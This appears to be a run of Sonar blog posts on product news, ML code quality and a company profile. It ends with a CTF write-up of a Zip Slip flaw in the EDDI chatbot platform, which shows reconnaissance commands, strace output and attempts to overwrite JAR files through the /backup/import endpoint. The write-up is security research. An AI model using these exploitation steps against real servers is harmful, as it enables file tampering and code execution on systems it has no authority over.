GitHub Copilot: Integrate with Copilot in your IDE (like VS Code) to create a secure, quality-aware coding agent that can list issues, suggest fixes, and write tests based on SonarQube's analysis.
GitHub Copilot CLI: Add SonarQube's analysis capabilities to your command-line workflows powered by the GitHub CLI.
Amazon Q Developer: Connect with Amazon Q in your IDE to analyze and fix code issues directly within the chat interface, streamlining your workflow.
Kiro: Use the MCP Server to act as a bridge, allowing the Kiro AI agentic IDE to access data from your SonarQube.
Zed: Add the SonarQube MCP Server to the Zed code editor using the official extension available in Zed's marketplace.

Getting started

The SonarQube MCP Server is free, source-available, and ready for you to deploy. We’ve made it easy to get up and running in minutes, with options for Docker or with Java by running the Jar directly (requires downloading or building the Jar).

All you need is a SonarQube Cloud account or a SonarQube Server instance.

The SonarQube MCP Server provides a secure and verifiable foundation for bringing your trusted code quality standards into the agentic software development workflow.

We invite you to get started today and bring your team’s software quality to the next level.

Introducing native Jira Cloud integration for SonarQube Cloud

Andrew Osborne — Wed, 01 Oct 2025 22:00:00 GMT

Originally published on Aug 20, 2025, to announce the beta release, this blog post has been updated to reflect the general availability of Jira integration for SonarQube Cloud.

TL;DR overview

SonarQube Cloud's native Jira Cloud integration allows development teams to create Jira tickets directly from SonarQube issues, connecting code quality findings to their existing project management workflow.
The integration eliminates manual copy-paste of issue details between tools, ensuring that security and quality findings are tracked with full context—code location, severity, and remediation guidance—in Jira.
Project managers and engineering leads can track remediation progress in Jira alongside feature work, giving full visibility into technical debt and security backlog without switching to the SonarQube interface.
Setup requires connecting a SonarQube Cloud organization to a Jira Cloud project via OAuth, after which issue creation can be triggered manually or through automated workflow rules.

Ever find a critical bug in SonarQube during code review, then sigh as you open another tab to manually create a single, or maybe multiple, Jira work items? You know the drill: copy the title, paste the details, find the right code location, and hope you didn't miss anything.

Those days are over. We are pleased to announce that we have rolled out our new, native Jira Cloud integration for SonarQube Cloud for Team and Enterprise plans! This is about more than just connecting two platforms; it’s about creating a single, fluid workflow that moves findings from SonarQube analysis to your project being managed in Jira in seconds..

Why this matters: from friction to flow

Every team has its own rhythm. Some prefer a direct “find it, fix it” flow inside the developer toolchain. Others run a Jira‑centric model where all work, including features, defects, security tasks, and ops, is tracked end to end in one system. SonarQube is built to support both.

If your team likes to resolve SonarQube findings as part of day‑to‑day development, nothing changes. You keep that streamlined flow. If your organization prefers Jira as the system of record, you can now send SonarQube findings, individually or batched, into Jira with full context, so code quality and security work sits alongside everything else in your plan of record. No duplicate tracking, no lost details, and consistent visibility for stakeholders. With the Jira release widget in SonarQube, you also get a quick snapshot of release readiness tied to Jira versions, so engineering and product can make decisions using the same source of truth.

What you get with the new Jira integration

Our native Jira integration is designed to streamline this entire process, from discovery to remediation, with three key features:

Turn insights into actionable Jira work items

You can now turn any SonarQube finding into a Jira work item directly from the SonarQube interface. Even better, you can group multiple related SonarQube issues into a single Jira work item.

Imagine you’ve just refactored a module and SonarQube finds ten "Remove this unused import" issues. Instead of cluttering your backlog with ten tiny tickets, you can select all ten and create a single action to track the cleanup. This keeps your backlog cleaner and allows your team to tackle a common problem or a batch of minor fixes under one well-defined task.

Forget about context switching and manual data entry! The new Jira work item is automatically populated with all the rich, contextual information your team needs to act:

The title of the SonarQube issue and a direct link back to it.
The exact code location, including file path, line numbers, the commit hash, and the date the issue was introduced.
A detailed explanation of why it's an issue, with the rule name and a link for more information.
The issue's severity and its impact on your software quality.

See release readiness at a glance with the Sonar Jira release widget

Are we ready to release? Answering that question no longer requires switching to Jira.

For those using version-based releases in Jira, once a SonarQube project is connected to a Jira project, a new Jira release widget appears on your SonarQube main branch summary page. This gives you a quick, unified view of your release readiness, showing the number of open Jira work items tied to your next release version, without ever leaving SonarQube. You'll see:

The number of open Jira work items tied to your earliest unreleased version.
The upcoming release date and version number.

This unified visibility helps you understand what needs to be addressed before a release, effectively reducing context switching and improving decision-making.

A secure and simple connection

Our integration leverages the industry-standard OAuth 2.0 protocol to ensure a simple, secure connection to Jira Cloud, providing your teams with a seamless experience without the need to manage sensitive credentials.

This integration empowers every member of your team to take ownership of code quality.

For development teams: Stay in your flow. Manage SonarQube issues directly within your familiar Jira environment, eliminating the need to switch between platforms.
For project and product managers: Get centralized visibility. Prioritize bugs, security vulnerabilities, or backlog management alongside other project tasks in one central location.
For the organization: Accelerate remediation times. By streamlining the process from detection to fix, you can significantly reduce business risk and lower the overall cost of maintaining code quality & security.

Get started in two simple steps

Ready to close the loop? Setting up the Jira integration is a straightforward, two-step process with Team and Enterprise plans:

Organization binding: First, a SonarQube Organization Administrator connects your organization to your Jira instance.

Project binding: Next, a project administrator can bind a SonarQube project to a specific Jira project and configure which work item types (e.g., Bug, Task, Story) can be created.

For detailed instructions, check out our official documentation.

The Jira integration is available for SonarQube Cloud Team and Enterprise plans. Turn insights into action, reduce friction, and keep your releases moving with confidence.

Set it up, give it a spin, and share your feedback with us in the Sonar Community. Your input helps us refine the experience and build more integrations that strengthen cross-functional alignment and accountability throughout your code review process. And stay tuned for more product features from Sonar that will help our users enhance the cross-functional integration, alignment, and accountability across their code review process!

Developer survey request

Anirban Chatterjee — Wed, 01 Oct 2025 13:00:00 GMT

TL;DR overview

Sonar invites developers to participate in its annual developer survey, which informs the State of Code report—a data-driven study of how developers are using AI, managing code quality, and navigating technical debt.
The survey collects insights from developers worldwide on their AI tool usage patterns, code review practices, productivity perceptions, and challenges with code security.
Participation helps shape Sonar's product roadmap and contributes to industry-wide research that benefits the entire developer community.
Past survey data has revealed critical insights—including the AI coding trust gap and the verification bottleneck—that have informed how SonarQube prioritizes features for AI-era development.

Artificial intelligence is rapidly changing how we develop software. But beyond the hype, how are developers like you actually using these new tools in your daily workflows? To find out, we're kicking off our first annual State of Code developer research survey, where we’ll explore the real-world relationship between developers and AI.

Take the survey now

A crucial part of this research is understanding how much effort you typically spend reviewing, testing, and correcting the output of AI coding tools to ensure it meets your quality and project standards. Is reviewing AI-generated code more or less effort than reviewing code written by a colleague? We also want to know if your approach to code security has changed as a result of using these tools.

This survey should take you about 20 minutes to complete. And as a thank you for sharing your valuable time and insights, the first 500 responders will receive a free limited-edition "Vibe then Verify" hat from Sonar! You will also be among the first to get access to the survey report when it is published.

Thanks for helping us understand more about the way you develop software in the age of AI!

Take the survey now

(Because of cost limitations, only survey respondents in North America and Europe are eligible for the free hat promotion. But if you live elsewhere, we'd still love your feedback and ideas!)

Python Machine Learning: Care & Quality for Developers

Thomas Serre — Fri, 26 Sep 2025 13:00:00 GMT

TL;DR overview

Python machine learning code requires the same code quality discipline as production software: ML pipelines, data preprocessing code, and model training scripts accumulate technical debt that degrades reproducibility and maintainability over time.
Common quality issues in Python ML code include hardcoded hyperparameters, unclear variable naming, missing error handling in data loading routines, and lack of unit tests for feature engineering functions.
SonarQube's Python analyzer detects code smells, bugs, and security issues in ML codebases, extending code quality enforcement to data science workflows that are increasingly deployed in production environments.
Teams building ML systems should apply the same code review and quality gate practices to their Python ML code as to their application code—the consequences of technical debt in an ML pipeline can be as severe as in any production service.

AI-generated code continues to be a hot topic of discussion among programmers. There are enthusiastic proponents and thoughtful objectors to this practice, and both sides have compelling arguments. The debate over AI in coding isn't about whether it's inherently good or bad; its value will be determined by how we use it as it continues to evolve.

To effectively leverage the power of AI tools – or even to critically evaluate them – we must understand their underlying mechanisms. This understanding becomes even more vital as AI development rapidly progresses, particularly in the realm of machine learning. Therefore, before diving into the practicalities of AI-assisted development, it's essential to grasp the foundations upon which these tools are built.

This post will discuss machine learning (ML) in Python, examining the unique considerations for application developers as AI's role in everyday software continues to expand.

Approaching ML from an application developer’s perspective

While prompting a large language model (LLM) isn't the same thing as training a deep neural network, it introduces the need for application developers to understand ML in order to successfully integrate it. Developers are now increasingly expected to not only consume and integrate AI models but also to understand their capabilities, limitations, and how they were trained to use them effectively.

Conversely, ML engineers, who once focused primarily on experimental model development in notebooks, are now facing the critical need to produce production-ready code. This means their work, once isolated, must now be robust, readable, reproducible, and easily integrated into larger applications – a domain traditionally owned by application developers. This increased expectation for deployment-ready solutions is leading to a fascinating convergence where both roles benefit from a deeper understanding of the other's discipline. This shift is reflected in the rise of Machine Learning Operations (MLOps), a set of practices that combines machine learning, DevOps, and data engineering to reliably and efficiently deploy and maintain ML models in production. MLOps emphasizes automation, continuous integration/delivery, monitoring, and governance throughout the entire ML lifecycle, bridging the gap between experimental model development and robust application integration.

[Caption: MLOps as the reunion of ML, application development, and operations working together]

ML focuses on developing algorithms that allow systems to learn from data and make predictions or decisions without explicit programming. Python has emerged as the language of choice for much of this work, and one of its greatest strengths in this domain is its remarkable flexibility. It is a language that offers a vast ecosystem of libraries and frameworks that cater to data preprocessing, model training, deployment, and academic tools. Understanding where these diverse approaches and tools diverge, and how they contribute to the broader ML landscape, is key to leveraging Python effectively for machine learning engineering.

Whether or not machine learning ends up gathering dust on the shelf, just like other hyped tech, ML and AI are not going away. This means that human oversight will probably continue to be necessary, and a commitment to code quality and code security will be paramount. Understanding the fundamentals of ML is key to this oversight and effective integration.

What exactly is machine learning?

At a very high level, machine learning (ML) is a subset of artificial intelligence (AI) that empowers systems to learn from data without explicit instructions. At its core, ML relies heavily on the quality and quantity of data it consumes. This data acts as the training ground for deeply complex algorithms that – unlike fixed logic flows we often see in application development – can identify patterns, make predictions, and adapt their behavior over time. In traditional application development, prior knowledge of how to solve the problem is required; ML engineering focuses on building models that can learn and generalize from data to figure out how to solve the problem on its own without the need of prior knowledge.

How is ML being used in Python app development?

ML models are trained on datasets where they learn relationships and patterns. Once trained, they apply these learned patterns to new data to make predictions or classifications. The primary goal of ML is to extrapolate learnings from existing data to perform specific tasks. These tasks typically involve:

Classification: Categorizing data, for example, spam detection, and image recognition
Regression: Predicting numerical values like house prices and stock market forecasts
Clustering: Grouping similar data points, such as customer segmentation
Anomaly detection: Identifying unusual patterns, which can be helpful in fraud detection

How does ML compare to traditional Python application development?

In traditional Python application development, while data is certainly involved, its role is not the primary driver for learning and decision-making. The core focus is on building functional software applications – frequently user-facing – designed to perform a wide array of explicit tasks:

API development: Building interfaces for software to communicate, for instance, RESTful services and GraphQL endpoints
Web development: Creating interactive websites and web applications, such as e-commerce platforms and content management systems
Automation: Scripting repetitive tasks, like data scraping and system administration.
Data processing: Transforming and managing data, for example, ETL (Extract, Transform, Load) pipelines and database interactions
Desktop applications: Developing graphical user interfaces (GUIs), for instance, utility tools and custom business software

Ultimately, the goal in traditional Python application development is to deliver a robust, maintainable, scalable, and user-friendly product that consistently meets predefined business requirements. The application's underlying operational logic is typically explicit, rule-based, and directly programmed by developers.

For example, when it comes to something like a banking app, you absolutely want it to do the exact same thing every time you log in. Because traditional applications operate on explicit, unchanging logic. Unexpected behaviors – like your balance suddenly dropping to zero for no reason – are a sign of a critical flaw. An application developer builds this kind of predictable reliability because an unpredictable banking experience would be unpleasant for both users and developers trying to debug it.

But let’s say your banking app “learns” how to categorize purchases, and based on what it “knows” about your purchase history, it offers recommendations for your budget… That would be an example of machine learning. ML is increasingly integrated into various applications, transforming how we interact with technology. Its use cases are diverse and rapidly expanding, including but not limited to powering recommendation engines on streaming platforms, enabling accurate fraud detection in financial services, facilitating natural language processing for virtual assistants, optimizing logistics and supply chains, and enhancing medical diagnosis through image analysis.

This table summarizes the differences between application development and ML engineering:

	Application development	ML engineering
Logic	Explicitly programmed rules	Learned from data
Changes	Require code modifications	Model retaining with new data
Output	Deterministic	Probabilistic, with confidence levels
Primary skill	Programming, algorithms, data structures	Data sciences, statistics, model optimization

The importance of Python code quality and code security in ML

Python has emerged as the primary language for data scientists and developers building and deploying ML models. The foundational code and all the various ML libraries and frameworks must be robust and secure. Ensuring this underlying strength is critical, as the quality and security of these core components directly impact the reliability and trustworthiness of the ML models themselves.

For ML systems to operate effectively at scale, code quality is also inextricably linked to app performance. A model may be brilliant in theory, but if its underlying Python code is inefficient, it will be too slow for real-time applications like autonomous driving or instant medical diagnoses. Inefficient code leads to higher computational costs, greater energy consumption, and slower response times, making the technology impractical for the very use cases where it could have the most profound impact. Therefore, writing high quality, optimized Python code is a critical part of making powerful AI models accessible and practical for a wide range of applications.

ML plays a crucial role in leveraging data for the greater good. In medical diagnostics, ML models can analyze vast datasets to detect patterns indicative of diseases like cancer, thereby augmenting the power of human experts. In such critical applications, the trustworthiness and intelligence of the underlying Python code are paramount. Flaws in code quality, such as bugs or vulnerabilities, can lead to inaccurate model predictions or biased outcomes, directly undermining the reliability and ethical application of these systems. Therefore, ensuring robust code quality and stringent security measures is not just about preventing bugs or breaches; it is fundamentally about guaranteeing the reliability and ethical application of ML systems that have a tangible impact on human lives. In other words, imagine that your brain imaging data helps train a cancer detection model designed to save lives. You would be gravely concerned if a security flaw within the model's Python code allowed your identifying information to be leaked to the dark web. Similarly, you wouldn't want to be denied health insurance coverage for cancer treatment because a bug or algorithmic bias in that very same model's code, operating without adequate human oversight, incorrectly "decided" your odds weren't worth it. This IBM Watson failure is an old example but illustrates those risks well.

The future of AI and the models we will train and trust depends on the guardrails and commitment to code quality and security we put into place now; the toll of AI tech debt has the potential to be catastrophic. One such incident occurred in July 2025, an AI coding agent from a popular software development platform wiped out a production database during a code freeze. The database deletion occurred while an engineer was experimenting with and singing the praises of vibe coding.

[Caption: Jason Lemkin, a tech entrepreneur and founder of the SaaS community SaaStr, posts about vibe coding on social media.]

When prompted about the deletion, the AI agent responded with, “This was a catastrophic failure on my part. I destroyed months of work in seconds.”

The human hand in artificial intelligence and machine learning

The capacity to create and wield tools is a fundamentally human trait. AI and ML represent another incredibly powerful addition to our toolkit, offering capabilities that are transforming how we interact with technology. Understanding these tools – from their core concept as computational models to their training processes – is paramount. Like with all other tools, it is important to remember that just because you have a hammer, not everything is a nail, and that a hammer has the capacity to break things as much as it has the capacity to build things.

The following posts in this series are intended for Python application developers who are interested in exploring ML. The hope is that as you begin to contribute to the quickly evolving landscape of AI, you practice diligence in maintaining code quality and security and help lay the foundation for careful consideration and ethical foresight in this brave new world.

Introducing Scoped Organization Tokens for SonarQube Cloud

Andrew Osborne — Thu, 25 Sep 2025 15:00:00 GMT

TL;DR overview

Scoped organization tokens in SonarQube Cloud allow administrators to create tokens with minimal permissions—limited to specific operations like analysis execution or API read access—following the principle of least privilege.
Replacing broad user tokens with scoped tokens reduces the blast radius of a compromised credential: an attacker with a stolen analysis token cannot perform administrative actions or access other organization data.
CI/CD pipelines, automation scripts, and integrations should each use purpose-built scoped tokens rather than sharing a single high-privilege token, simplifying secret rotation and audit trails.
Token scope management is accessible through the organization settings in SonarQube Cloud, enabling security-conscious organizations to align token access with their broader identity and access management policies.

Introducing Scoped Organization Tokens for SonarQube Cloud

We're excited to announce the availability of Scoped Organization Tokens (SOTs) for SonarQube Cloud, a new feature for our Team and Enterprise plan users. This provides a secure and scalable way to authenticate CI/CD pipelines and other automated processes, addressing common challenges and improving your overall security posture.

Why Scoped Organization Tokens matter

Historically, organizations have relied on Personal Access Tokens (PATs) for automation, but as teams and projects grow, this approach can lead to challenges. Scoped Organization Tokens are designed to address these challenges directly, providing a robust, secure, and scalable way to manage authentication for your CI/CD pipelines. By being decoupled from individual users and offering granular control, they are a game-changer for your organization.

Here are the key benefits:

Enhanced Security with Granular Permissions: SOTs allow you to create tokens with specific, limited permissions, following the principle of least privilege. This prevents security vulnerabilities that can arise from over-privileged tokens. For this initial release, the "execute analysis" permission is supported, with more scopes planned for the future.
Uninterrupted Automation, Decoupled from Users: Unlike PATs, SOTs are created and managed at the organization level and are not tied to a single user account. This means your CI/CD pipelines will continue to run without interruption, even if a team member leaves the company. This resilience eliminates the need for costly workarounds like creating "bot" accounts, which incur additional license fees and administrative overhead.
Simplified and Centralized Management: SOTs provide a single, centralized place to manage and revoke tokens. Administrators can get a clear overview of all tokens in use, their specific permissions, and their expiration dates. You can create these tokens directly within your SonarQube Cloud organization.

An example to illustrate

Marcel is a DevOps administrator at a growing tech company. He is responsible for maintaining the CI/CD pipelines that are critical to the company's development process. Every time a developer who set up a pipeline leaves the company, Marcel gets a frantic message that the builds are failing. He then has to scramble to identify the broken pipeline, generate a new token, and update the CI/CD configuration.

It's a time-consuming and stressful process that takes Marcel away from more strategic work. With the new Scoped Organization Tokens, he can create a dedicated token for the CI/CD pipeline that isn't tied to any single user, ensuring the pipeline continues to run smoothly, regardless of personnel changes.

How to get started with SonarQube Cloud tokens

Creating and managing Scoped Organization Tokens is simple. Here’s how you can get started:

As an organization administrator, navigate to the “Administration” section of your SonarQube Cloud Organization
Select "Scoped Organization Tokens".
Click on "Create token" and give it a name.
You can provide a description if you wish, this will make it easier to quickly understand the scope and the intent of your token.
Define an expiration date. You can also choose “no expiry” but we don’t recommend it from a security perspective
Set the project scope for the token, meaning the list of projects that your token can provide access to.
Click "Generate token"
The next screen will show you the token key - make sure you store it securely - and you're ready to use your new token in your CI/CD pipeline.

You can view and manage all of your SOTs from the same screen, making it easy for administrators to see the list of tokens within their organization and their scope, when it was last used, and when it expires. They are also empowered to revoke a token at any time.

For more information, please refer to the documentation.

Secure, resilient, and scalable authentication

In summary, Scoped Organization Tokens provide a secure and scalable way to manage authentication for your CI/CD pipelines and other automations without being tied to a specific user account.

SOTs are available now for all SonarQube Cloud Team and Enterprise plan users. We're confident that this new feature will help you to build more secure, resilient, and efficient CI/CD pipelines.

Ready to give it a try? Log in to your SonarQube Cloud account, or sign up to try SonarQube Cloud here, and create your first SOT today! We'd love to hear your feedback on the Sonar Community Forum.

SonarQube Server 2025.5: accelerate time to market, fortify supply-chains, develop more efficiently

Robert Curlee — Tue, 23 Sep 2025 13:00:00 GMT

TL;DR overview

SonarQube Server 2025.5 expands core security with SAST for Go, taint analysis for VB.NET, more robust JavaScript/TypeScript taint analysis, and best-in-class secrets detection now covering YAML, JSON, and Kotlin files.
SonarQube Advanced Security is enhanced with continuous SCA vulnerability detection without requiring project re-analysis, customizable risk severity thresholds, and expanded dependency support for PHP projects.
Compliance coverage grows with additional MISRA C++:2023 rules now available directly in the IDE, plus more comprehensive security and regulatory reports aligned with CWE and OWASP standards.
Language quality improvements target Python performance, Java maintainability, faster C/C++ analysis, and full support for Java 23/24 and Dart 3.8, keeping teams current with modern language evolution.

2025.5 at a glance

Boost security & supply chain defense

Fortify your CI/CD pipelines by detecting vulnerabilities in GitHub Actions
Gain superior accuracy and speed for JavaScript/TypeScript security
Secure .NET desktop apps with WPF framework vulnerability detection

Reduce developer toil and improve productivity

Update the server without breaking your CI/CD pipeline
Accelerate Python automated reviews with a massive performance boost
Optimize Python serverless functions in AWS Lambda
Maintain high quality web apps by finding more issues in Angular code

Enterprise-ready compliance & governance

Achieve compliance with expanded support for MISRA C++:2023
Roll out Software Composition Analysis (SCA) at your own pace
Control your messages in global in-product announcements

Why 2025.5 matters to you

This release is a strategic update for your entire software development lifecycle, packed with features designed to solve your most pressing challenges. Here’s why this release positively impacts your team.

For development teams: code faster with uninterrupted flow

Get ready for a massive productivity boost! We're introducing game-changing non-disruptive updates, which means you can finally embrace the latest SonarQube features without the fear of an update breaking your CI/CD pipeline. Feedback of your Python code’s health is about to get dramatically shorter with a huge performance boost, letting you iterate faster than ever. For JavaScript and TypeScript developers, our new next-gen security engine is now the default and delivers more accurate, actionable security feedback directly in your workflow. Angular developers writing front-end webapps gain increased coverage, finding more issues to find common problems and encouraging modern Angular patterns. Plus, you can now build more efficient and reliable serverless applications with specialized rules for AWS Lambda in Python, and secure your front-end .NET desktop applications with new support for the WPF framework.

For security & DevSecOps teams: fortify your entire software supply chain

This release delivers a monumental leap forward in security. You can now directly fortify your CI/CD pipelines against supply-chain attacks by detecting vulnerabilities and misconfigurations in your GitHub Actions workflows. Our next-generation security engine is now the default and provides a new level of confidence for JavaScript/TypeScript security, with superior accuracy and speed that means fewer false positives and more reliable findings. We are also empowering you to onboard Software Composition Analysis (SCA) at your own pace with new granular controls, allowing for a strategic, controlled rollout across your organization without overwhelming your teams.

For platform engineering & administrators: update and govern with confidence

We've solved one of your biggest operational headaches. With non-disruptive updates, you can now manage and communicate updates effectively, giving teams proactive visibility into changes and preventing a flood of support requests from broken builds. The new controls for rolling out SCA on an instance and per-project basis give you the power to manage a strategic adoption. Furthermore, you can now streamline communication and drive action across your entire user base by transforming the global announcement banner into a powerful tool with clickable links and markdown support, guiding users directly to critical resources.

For compliance teams & engineering leadership: accelerate business goals and reduce risk

Achieve and maintain compliance with unprecedented ease and visibility. We have expanded support for the latest MISRA C++:2023 guidelines, which is critical for accelerating time-to-market for safety-critical systems in industries like automotive. You can now significantly enhance the security posture of your entire software supply chain, minimizing the risk of breaches from compromised CI/CD pipelines. This release drives direct business value by enabling cost savings on AWS finding and fixing performance issues in serverless Python Lambda functions. And lastly, it reduces organizational risk by improving the security of your entire application portfolio, from the cloud to the desktop.

Start using SonarQube Server 2025.5 now!

The 2025.5 What's New page and our SonarQube Server release notes provide more details about the release.

Are you still using an older version of SonarQube Server? If you’re on an earlier version than the 2025.1 LTA release, update to the latest LTA before moving to the current release. Check out our LTA Update Hub for useful information on how to update.

Day in the Life: Expanding Sonar into LATAM as a Country Manager

Josh Twaddle — Thu, 18 Sep 2025 17:00:00 GMT

TL;DR overview

This blog post provides a first-person perspective on the experience of expanding Sonar's presence into Latin America as a Country Manager—covering the day-to-day challenges and rewards of entering a new regional market.
The post highlights Sonar's company culture, the pace of business development in emerging markets, and how the company supports regional growth through its global go-to-market strategy.
The author describes building customer and partner relationships in LATAM while aligning local initiatives with Sonar's global mission of improving code quality and security for developers worldwide.
This behind-the-scenes view of Sonar's growth reinforces the company's commitment to expanding its developer community globally beyond established North American and European markets.

Welcome back to our "Day in the Life" series, where we get to know the incredible people driving Sonar's mission forward. Today, we’re heading to sunny Brazil to chat with Josh Twaddle, our Country Manager for the region. Though he's only been with us for a few months, Josh is already making a huge impact.

Let's dive in and learn about his drive to expand Sonar's presence in Latin America, what a typical day looks like, and what fuels his passion both in and out of the office.

There’s an incredible energy pulsing through Brazil’s tech scene right now—a wave of innovation and growth that you can feel in the air. My name is Josh Twaddle, and I have the amazing opportunity to channel that energy as Sonar’s new Country Manager for Brazil. I’ve spent the last several months on a mission to connect with our client base and partner ecosystem, with the goal of aligning our cutting-edge technology with the needs of this thriving economy. My role is about more than just business; it’s about building alliances, empowering local companies, and helping to shape the future of software in one of the world's most dynamic markets. I'm excited to share a glimpse into what this journey looks like day-to-day.

My Mission: Bridging Tech and a Thriving Economy

When people ask what I do, I tell them my goal is to help bridge the gap between Sonar's cutting-edge technology and Brazil's vibrant economy. For me, this means going beyond a simple leadership role. My focus is on boosting the country's software quality, security, and productivity, empowering local companies to innovate with confidence.

What I'm most passionate about right now is having a direct impact on Brazil's digital future. I get to do this by building strong alliances with customers and partners in the region, creating a community where we can all grow together.

A Day in My Life

So, what does a typical day actually look like? Honestly, it’s a whirlwind! One minute I might be on a call, helping a customer get the most value out of Sonar. The next, I'm deep in strategy mode with my team, brainstorming new partner deals to grow our ecosystem. Then, I could be out and about, taking the stage at a São Paulo conference to inspire and connect with the brilliant tech community and local DevOps talent.

I prioritize tasks based on urgency and impact to stay focused on what's critical, all while scaling for the future success of all stakeholders.

One of the questions I get a lot is, how do I find the time for it all? Juggling everything is a wild ride, but the passion I have for this work keeps me going. The best part of my day, without a doubt, is the genuine connections I make with my teammates and our customers. At the end of the day, those relationships are what it's all about.

Why Sonar

I was really drawn to Sonar for two big reasons: the product is an incredible fit for the market, and the leadership team is serious about doubling down on Latin America. When I saw that massive opportunity, I knew I had to be a part of it.

The growth potential here is what truly excites me. I'm focused on building a strong partner ecosystem and a fanatical customer base. We're not just selling a product; we're creating a highly-collaborative, driven, and multicultural community that is designed to breed success.

Life Outside the Office

When I’m not in Sonar mode, I’m usually pushing my limits in other ways. I’m currently training for an ultra trail running league, which is my go-to for clearing my head and building endurance.

I also host the LATAM Wealth Podcast, a Portuguese and Spanish-speaking podcast where I feature inspirational speakers across Latin America and Iberia. Through these interviews, I aim to inspire others to pursue their career aspirations and achieve financial freedom for themselves and their families.

The best piece of advice I’ve received since joining Sonar is: "Speeding tickets, not parking tickets." To me, this means prioritizing action and momentum over standing still. It's about moving forward and making things happen.

I am so excited to be part of Sonar's growth trajectory, particularly in our journey to be a leader in Brazil and the rest of Latin America. The future is bright, and I’m thrilled to be along for the ride.

Code Security for Conversational AI: Uncovering a Zip Slip in EDDI

Paul Gerste — Tue, 16 Sep 2025 15:00:00 GMT

TL;DR overview

Sonar's security researchers discovered a Zip Slip vulnerability in EDDI, an open source conversational AI platform, allowing attackers to overwrite arbitrary files on the server through a malicious ZIP archive upload.
Zip Slip exploits occur when archive extraction code does not properly validate file entry paths—a relative path like ../../etc/passwd can escape the target directory and write files anywhere on the filesystem.
In EDDI's case, the vulnerability can be exploited by uploading a crafted chatbot configuration archive, leading to potential remote code execution by overwriting executable scripts or configuration files.
Developers implementing ZIP extraction in any language should use path canonicalization and enforce that extracted file paths resolve within the intended target directory.

From time to time, our Vulnerability Researchers enjoy playing Capture the Flag (CTF) competitions. These are great opportunities to sharpen our skills, learn new techniques, and connect with the security community. Some CTF challenges even come with source code and are a great way to battle-test our code analysis engine!

Earlier this year, we played KalmarCTF with team FluxFingers and encountered an interesting challenge called Red wEDDIng, which was solved by 8 out of 287 teams. The challenge consisted of an instance of EDDI, an open-source prompt and conversation management middleware for conversational AI APIs. The instance was running the latest version available at the time, so the task was to find one or more 0-day vulnerabilities that allow reading the flag file from the challenge server.

Since EDDI is open-source and written in Java, it was a perfect opportunity to use SonarQube to scan its code for vulnerabilities. While SonarQube is a tool for developers and is best integrated within the software development life cycle (SDLC), the underlying code analysis engine is able to find vulnerabilities regardless of the context. In this case, it allowed us to benchmark our engine against a real-world code base, and it helped us to be the first team to solve the challenge!

CVE-2025-32779: Zip Slip in Bot Import

The code scan finished quickly, and SonarQube raised a Zip Slip vulnerability. This was a 0-day vulnerability at the time and was later assigned CVE-2025-32779. You can view the issue on SonarQube Cloud (no account required) to follow along and explore the code. Let's dive in:

As we can see, EDDI unpacks a ZIP archive and writes the contained files into a target extraction directory. This is a classic example of a Zip Slip vulnerability: The file path is constructed from the ZIP entry's file name, which can contain arbitrary characters, including a path traversal sequence such as ../../../. The attacker can therefore control the resulting path that the ZIP entry's content is written to.

We immediately investigated the finding to confirm if it was exploitable in the realm of the competition. Indeed, the functionality containing the issue was exposed to anyone connecting to the server! When sending a ZIP archive to the /backup/import HTTP endpoint, the server unpacks it to a temporary directory and uses the contained files to configure a bot.

To confirm that the Zip Slip vulnerability is indeed exploitable by an attacker, we created a simple ZIP file that contains a file with a path traversal sequence in its name. After sending it to the vulnerable endpoint, we observed the file being written outside of the temporary extraction directory, confirming exploitability. This verifies that SonarQube's finding is indeed a serious vulnerability.

What to Overwrite?

The Zip Slip vulnerability allows an attacker to write files on the filesystem of the instance, only limited by the file permissions. At this point, we needed to think about how this file write primitive can be used by an attacker to execute code on the server. For this, we started to investigate which files can be written on the server using the Zip Slip vulnerability.

Using find / -writable, we enumerated all files and directories writable by the user that the EDDI application was running as. To our surprise, we would have been able to overwrite quite a lot, including executable files in the /opt/jboss/ directory, which contained the JBoss application server that was hosting the EDDI application:

/opt
/opt/jboss
/opt/jboss/container
/opt/jboss/container/java
/opt/jboss/container/java/proxy
/opt/jboss/container/java/proxy/proxy-options
/opt/jboss/container/java/proxy/parse-proxy-url.sh
/opt/jboss/container/java/proxy/translate-no-proxy.sh
/opt/jboss/container/java/s2i
/opt/jboss/container/java/s2i/s2i-core-hooks
/opt/jboss/container/java/s2i/maven-overrides
/opt/jboss/container/java/s2i/maven-s2i-overrides
/opt/jboss/container/java/jvm
[...]

The first attempt was to overwrite one of these files and cause it to be executed by restarting the server in our debugging setup. However, there was no way to restart the server in the real challenge setup, and even crashing it did not lead to a restart but rendered the instance unavailable.

We investigated further and noticed the /deployments/ folder that contained the Java app deployed to the JBoss server. We knew that some application servers would hot-reload applications when they detect file changes, so we tried overwriting the application's main JAR file, but this also didn't work.

We also noticed that the dependency JARs contained inside the app's main JAR were copied to /deployments/lib/main/. Since we had a local debugging setup, we started to trace the application process using strace to see if it would read one of those dependency JAR files when interacting with the application. And indeed, we noticed some file reads of JAR files:

1206081 statx(AT_FDCWD</deployments>, "/deployments/lib/main/io.netty.netty-transport-4.1.118.Final.jar", AT_STATX_SYNC_AS_STAT, STATX_ALL, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0644, stx_size=521428, ...}) = 0
1206081 openat(AT_FDCWD</deployments>, "/deployments/lib/main/io.netty.netty-transport-4.1.118.Final.jar", O_RDONLY) = 25</deployments/lib/main/io.netty.netty-transport-4.1.118.Final.jar>
1206081 statx(AT_FDCWD</deployments>, "/deployments/lib/main/io.netty.netty-common-4.1.118.Final.jar", AT_STATX_SYNC_AS_STAT, STATX_ALL, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0644, stx_size=719225, ...}) = 0
1206081 openat(AT_FDCWD</deployments>, "/deployments/lib/main/io.netty.netty-common-4.1.118.Final.jar", O_RDONLY) = 13</deployments/lib/main/io.netty.netty-common-4.1.118.Final.jar>
1206084 statx(AT_FDCWD</deployments>, "/deployments/lib/main/io.vertx.vertx-core-4.5.13.jar", AT_STATX_SYNC_AS_STAT, STATX_ALL, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0644, stx_size=1668417, ...}) = 0
[...]

We quickly prepared a payload that would overwrite that JAR file, uploaded it, and waited for our payload to execute. However, we just got NoClassDefFoundError and ClassNotFoundException in the logs:

java.lang.NoClassDefFoundError: io/netty/handler/codec/http/DefaultLastHttpContent
      at io.netty.handler.codec.http.HttpObjectDecoder.decode(HttpObjectDecoder.java:444)
      [...]
